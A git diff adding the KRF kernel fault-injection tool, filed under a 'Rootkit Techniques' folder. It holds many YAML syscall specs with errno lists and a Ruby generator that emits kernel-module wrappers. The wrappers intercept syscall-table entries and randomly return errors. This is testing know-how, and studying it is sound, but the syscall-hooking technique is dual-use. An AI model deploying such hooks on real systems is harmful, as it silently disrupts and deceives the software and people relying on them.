- ENAMETOOLONG + - ENOENT + - ENOTDIR + - EROFS + - EFAULT + - EINVAL + - EIO + - ENOMEM + - ETXTBSY +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml new file mode 100644 index 0000000..f899798 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/adjtimex.yml @@ -0,0 +1,8 @@ +proto: struct timex __user *txc_p +parms: txc_p +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml new file mode 100644 index 0000000..f507dfe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/bind.yml @@ -0,0 +1,18 @@ +proto: int fd, struct sockaddr __user *umyaddr, int addrlen +parms: fd, umyaddr, addrlen +errors: + - EACCES + - EADDRINUSE + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EROFS +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml new file mode 100644 index 0000000..76d9480 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/brk.yml @@ -0,0 +1,6 @@ +proto: unsigned long addr +parms: addr +errors: + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml new file mode 100644 index 0000000..22c63e5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chdir.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename +parms: filename +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml new file mode 100644 index 0000000..7c23a27 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chmod.yml @@ -0,0 +1,15 @@ +proto: const char __user *filename, umode_t mode +parms: filename, mode +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml new file mode 100644 index 0000000..e03f006 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chown.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename, uid_t user, gid_t group +parms: filename, user, group +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml new file mode 100644 index 0000000..64a97b5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/chroot.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename +parms: filename +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml new file mode 100644 index 0000000..41dcfa7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_adjtime.yml @@ -0,0 +1,7 @@ +proto: const clockid_t which_clock, struct timex __user *utx +parms: which_clock, utx +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml new file mode 100644 index 0000000..32be5cb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_getres.yml @@ -0,0 +1,7 @@ +proto: const clockid_t which_clock, struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml new file mode 100644 index 0000000..1e5cd60 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_gettime.yml @@ -0,0 +1,8 @@ +# See gettimeofday.yml; you probably need to disable the VDSO for this. +proto: const clockid_t which_clock, struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml new file mode 100644 index 0000000..e552851 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_nanosleep.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, int flags, const struct timespec __user *rqtp, struct timespec __user *rmtp +parms: which_clock, flags, rqtp, rmtp +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml new file mode 100644 index 0000000..d72f7ef --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clock_settime.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, const struct timespec __user *tp +parms: which_clock, tp +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml new file mode 100644 index 0000000..36b26c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/clone.yml @@ -0,0 +1,12 @@ +proto: unsigned long clone_flags, unsigned long newsp, int __user *parent_tidptr, int __user *child_tidptr, unsigned long tls +parms: clone_flags, newsp, parent_tidptr, child_tidptr, tls +errors: + - EAGAIN + - EINVAL + - ENOMEM + - ENOSPC + - EUSERS + - EPERM + - ERESTARTNOINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml new file mode 100644 index 0000000..e0b8f50 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/close.yml @@ -0,0 +1,16 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EBADF + - EINTR + - EIO + - ENOSPC + - EDQUOT + # - EISDIR +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen new file mode 100644 index 0000000..365d44a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/codegen @@ -0,0 +1,137 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# Linux codegen for KRF +# Like all code generators, this file is ugly. +# https://filippo.io/linux-syscall-table/ + +require "yaml" + +PLATFORM = `uname -s`.chomp!.downcase! +RELEASE = `uname -r`.chomp! +CONSERVATIVE = (ARGV.shift == "conservative") + +abort "Barf: Linux codegen requested but platform is #{PLATFORM}" if PLATFORM != "linux" + +HEADER = <<~HEADER + /* WARNING! + * This file was generated by KRF's codegen. + * Do not edit it by hand. + */ +HEADER + +SYSCALL_SPECS = Dir[File.join(__dir__, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +SOURCE_DIR = File.expand_path "../../#{PLATFORM}", __dir__ + +KERNEL_CONFIG = "/lib/modules/#{RELEASE}/build/.config" + +abort "Barf: Missing config for #{RELEASE}: #{KERNEL_CONFIG}" unless File.file? KERNEL_CONFIG + +def hai(msg) + STDERR.puts "[codegen] #{msg}" +end + +hai "output directory: #{SOURCE_DIR}" + +has_syscall_wrappers = File.readlines(KERNEL_CONFIG).any? do |line| + line.include? "CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y" +end + +gen_files = { + krf_x: File.open(File.join(SOURCE_DIR, "krf.gen.x"), "w"), + syscalls_h: File.open(File.join(SOURCE_DIR, "syscalls.gen.h"), "w"), + syscalls_x: File.open(File.join(SOURCE_DIR, "syscalls.gen.x"), "w"), + internal_h: File.open(File.join(SOURCE_DIR, "syscalls", "internal.gen.h"), "w"), +} + +gen_files.each_value { |file| file.puts HEADER } + +SYSCALLS.each do |call, spec| + # Each syscall requires code generation in 5 files: + # 1. krf.gen.x, to tell krf that we're interested in faulting it + # 2. syscalls.gen.h, to prototype the initial wrapper + # 3. syscalls.gen.x, to set up the initial wrapper + # 4. syscalls/internal.gen.h, to prototype the internal wrapper + # 5. syscalls/.gen.c, to set up the actual faulty calls + + name = spec["name"] || call + nr = spec["nr"] || name + number = "__NR_#{nr}" + proto, parms = if has_syscall_wrappers + ["const struct pt_regs* regs", "regs"] + else + [spec["proto"], spec["parms"]] + end + + hai "#{call} (nr: #{number})" + gen_files[:krf_x].puts <<~KRF_X + krf_faultable_table[#{number}] = (void *)&krf_sys_#{call}; + KRF_X + + gen_files[:syscalls_x].puts <<~SYSCALLS_X + asmlinkage long krf_sys_#{call}(#{proto}) { + long (*real_#{name})(#{proto}) = (void *)krf_sys_call_table[#{number}]; + + if (krf_targeted(KRF_TARGETING_PARMS) && (KRF_RNG_NEXT() % krf_probability) == 0) { + return krf_sys_internal_#{call}(#{parms}); + } else { + return real_#{name}(#{parms}); + } + } + SYSCALLS_X + + # NOTE(ww): Kernels built with syscall wrappers don't have + # sys_$whatever exposed via syscalls.h, so typeof doesn't work. + gen_files[:syscalls_h].puts <<~SYSCALLS_H + asmlinkage long krf_sys_#{call}(#{proto}); + SYSCALLS_H + + gen_files[:internal_h].puts <<~INTERNAL_H + long krf_sys_internal_#{call}(#{proto}); + INTERNAL_H + + syscall_c = File.join(SOURCE_DIR, "syscalls", "#{call}.gen.c") + File.open(syscall_c, "w") do |file| + file.puts HEADER + file.puts <<~SETUP + #include "internal.h" + + SETUP + + fault_table = [] + errors = spec["errors"] + errors += spec.fetch("unlikely_errors", []) unless CONSERVATIVE + errors.uniq.each do |fault| + fault_table << "krf_sys_internal_#{call}_#{fault}" + + file.puts <<~FAULT + static long krf_sys_internal_#{call}_#{fault}(#{proto}) { + if (krf_log_faults) { + KRF_LOG("faulting #{call} with #{fault}\\n"); + } + + return -#{fault}; + } + FAULT + end + + file.puts <<~TRAILER + static long (*fault_table[])(#{proto}) = { + #{fault_table.join ", "} + }; + + // Fault entrypoint. + long krf_sys_internal_#{call}(#{proto}) { + return fault_table[KRF_RNG_NEXT() % NFAULTS](#{parms}); + } + TRAILER + end +end + +gen_files.each_value(&:close) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml new file mode 100644 index 0000000..301b251 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/connect.yml @@ -0,0 +1,22 @@ +proto: int fd, struct sockaddr __user *uservaddr, int addrlen +parms: fd, uservaddr, addrlen +errors: + - EACCES + - EPERM + - EADDRINUSE + - EADDRNOTAVAIL + - EAFNOSUPPORT + - EAGAIN + - EALREADY + - EBADF + - ECONNREFUSED + - EFAULT + - EINPROGRESS + - EINTR + - EISCONN + - ENETUNREACH + - ENOTSOCK + - EPROTOTYPE + - ETIMEDOUT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml new file mode 100644 index 0000000..e991367 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/creat.yml @@ -0,0 +1,35 @@ +proto: const char __user *pathname, umode_t mode +parms: pathname, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml new file mode 100644 index 0000000..f6275ba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup.yml @@ -0,0 +1,8 @@ +proto: unsigned int fildes +parms: fildes +errors: + - EBADF + - EBUSY + - EINTR + - EINVAL + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml new file mode 100644 index 0000000..84d3c5e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/dup2.yml @@ -0,0 +1,8 @@ +proto: unsigned int oldfd, unsigned int newfd +parms: oldfd, newfd +errors: + - EBADF + - EBUSY + - EINTR + - EINVAL + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml new file mode 100644 index 0000000..6dabd3a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/faccessat.yml @@ -0,0 +1,17 @@ +proto: int dfd, const char __user *filename, int mode +parms: dfd, filename, mode +errors: + - EACCES + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EROFS + - EFAULT + - EINVAL + - EIO + - ENOMEM + - ETXTBSY + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml new file mode 100644 index 0000000..e6fbab1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchdir.yml @@ -0,0 +1,7 @@ +proto: unsigned int fd +parms: fd +errors: + - EACCES + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml new file mode 100644 index 0000000..489eb63 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmod.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, umode_t mode +parms: fd, mode +errors: + - EBADF + - EIO + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml new file mode 100644 index 0000000..c024cd2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchmodat.yml @@ -0,0 +1,18 @@ +proto: int dfd, const char __user *filename, umode_t mode +parms: dfd, filename, mode +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL + - ENOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml new file mode 100644 index 0000000..c03c61b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchown.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd, uid_t user, gid_t group +parms: fd, user, group +errors: + - EBADF + - EIO + - ENOENT + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml new file mode 100644 index 0000000..fd67cfd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fchownat.yml @@ -0,0 +1,17 @@ +proto: int dfd, const char __user *filename, uid_t user, gid_t group, int flag +parms: dfd, filename, user, group, flag +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml new file mode 100644 index 0000000..e7bb751 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fcntl.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, unsigned int cmd, unsigned long arg +parms: fd, cmd, arg +errors: + - EACCES + - EAGAIN + - EBADF + - EBUSY + - EDEADLK + - EFAULT + - EINTR + - EINVAL + - EMFILE + - ENOLCK + - ENOTDIR + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml new file mode 100644 index 0000000..2faf97c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fdatasync.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF + - EIO + - ENOSPC + - EROFS + - EINVAL + - ENOSPC + - EDQUOT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml new file mode 100644 index 0000000..946b42b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/flock.yml @@ -0,0 +1,10 @@ +proto: unsigned int fd, unsigned int cmd +parms: fd, cmd +errors: + - EBADF + - EINTR + - EINVAL + - ENOLCK + - EWOULDBLOCK +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml new file mode 100644 index 0000000..30a1131 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fork.yml @@ -0,0 +1,8 @@ +proto: void +errors: + - EAGAIN + - ENOMEM + - ENOSYS + - ERESTARTNOINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml new file mode 100644 index 0000000..77763c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstat.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, struct __old_kernel_stat __user *statbuf +parms: fd, statbuf +errors: + - EBADF + - EFAULT + - ENOMEM + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml new file mode 100644 index 0000000..5589865 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fstatfs.yml @@ -0,0 +1,12 @@ +proto: unsigned int fd, struct statfs __user *buf +parms: fd, buf +errors: + - EBADF + - EFAULT + - EINTR + - EIO + - ENOMEM + - ENOSYS + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml new file mode 100644 index 0000000..156da40 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/fsync.yml @@ -0,0 +1,13 @@ +proto: unsigned int fd +parms: fd +errors: + - EBADF + - EIO + - ENOSPC + - EROFS + - EINVAL + - ENOSPC + - EDQUOT +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml new file mode 100644 index 0000000..e8aefa8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ftruncate.yml @@ -0,0 +1,19 @@ +proto: unsigned int fd, unsigned long length +parms: fd, length +errors: + - EACCES + - EFBIG + - EINTR + - EINVAL + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - EPERM + - EROFS + - ETXTBSY + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml new file mode 100644 index 0000000..62e2898 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcpu.yml @@ -0,0 +1,6 @@ +proto: unsigned __user *cpu, unsigned __user *node, struct getcpu_cache __user *cache +parms: cpu, node, cache +errors: + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml new file mode 100644 index 0000000..ca9ecce --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getcwd.yml @@ -0,0 +1,12 @@ +proto: char __user *buf, unsigned long size +parms: buf, size +errors: + - EACCES + - EFAULT + - EINVAL + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ERANGE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml new file mode 100644 index 0000000..556b2ff --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpeername.yml @@ -0,0 +1,11 @@ +proto: int fd, struct sockaddr __user *usockaddr, int __user *usockaddr_len +parms: fd, usockaddr, usockaddr_len +errors: + - EBADF + - EFAULT + - EINVAL + - ENOBUFS + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml new file mode 100644 index 0000000..c2ce45a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpgid.yml @@ -0,0 +1,4 @@ +proto: pid_t pid +parms: pid +errors: + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml new file mode 100644 index 0000000..7cfee0e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getpriority.yml @@ -0,0 +1,7 @@ +proto: int which, int who +parms: which, who +errors: + - EINVAL + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml new file mode 100644 index 0000000..780c2ca --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresgid.yml @@ -0,0 +1,4 @@ +proto: gid_t __user *rgidp, gid_t __user *egidp, gid_t __user *sgidp +parms: rgidp, egidp, sgidp +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml new file mode 100644 index 0000000..e33da0f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getresuid.yml @@ -0,0 +1,4 @@ +proto: uid_t __user *ruidp, uid_t __user *euidp, uid_t __user *suidp +parms: ruidp, euidp, suidp +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml new file mode 100644 index 0000000..fe259db --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsid.yml @@ -0,0 +1,5 @@ +proto: pid_t pid +parms: pid +errors: + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml new file mode 100644 index 0000000..d36fbf0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockname.yml @@ -0,0 +1,10 @@ +proto: int fd, struct sockaddr __user *usockaddr, int __user *usockaddr_len +parms: fd, usockaddr, usockaddr_len +errors: + - EBADF + - EFAULT + - EINVAL + - ENOBUFS + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml new file mode 100644 index 0000000..777cd42 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/getsockopt.yml @@ -0,0 +1,10 @@ +proto: int fd, int level, int optname, char __user *optval, int __user *optlen +parms: fd, level, optname, optval, optlen +errors: + - EBADF + - EFAULT + - EINVAL + - ENOPROTOOPT + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml new file mode 100644 index 0000000..c58d345 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/gettimeofday.yml @@ -0,0 +1,8 @@ +# NOTE(ww): Make sure to disable the VDSO if you want to fault gettimeofday! +proto: struct timeval __user *tv, struct timezone __user *tz +parms: tv, tz +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml new file mode 100644 index 0000000..f111662 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioctl.yml @@ -0,0 +1,9 @@ +proto: unsigned int fd, unsigned int cmd, unsigned long arg +parms: fd, cmd, arg +errors: + - EBADF + - EFAULT + - EINVAL + - ENOTTY 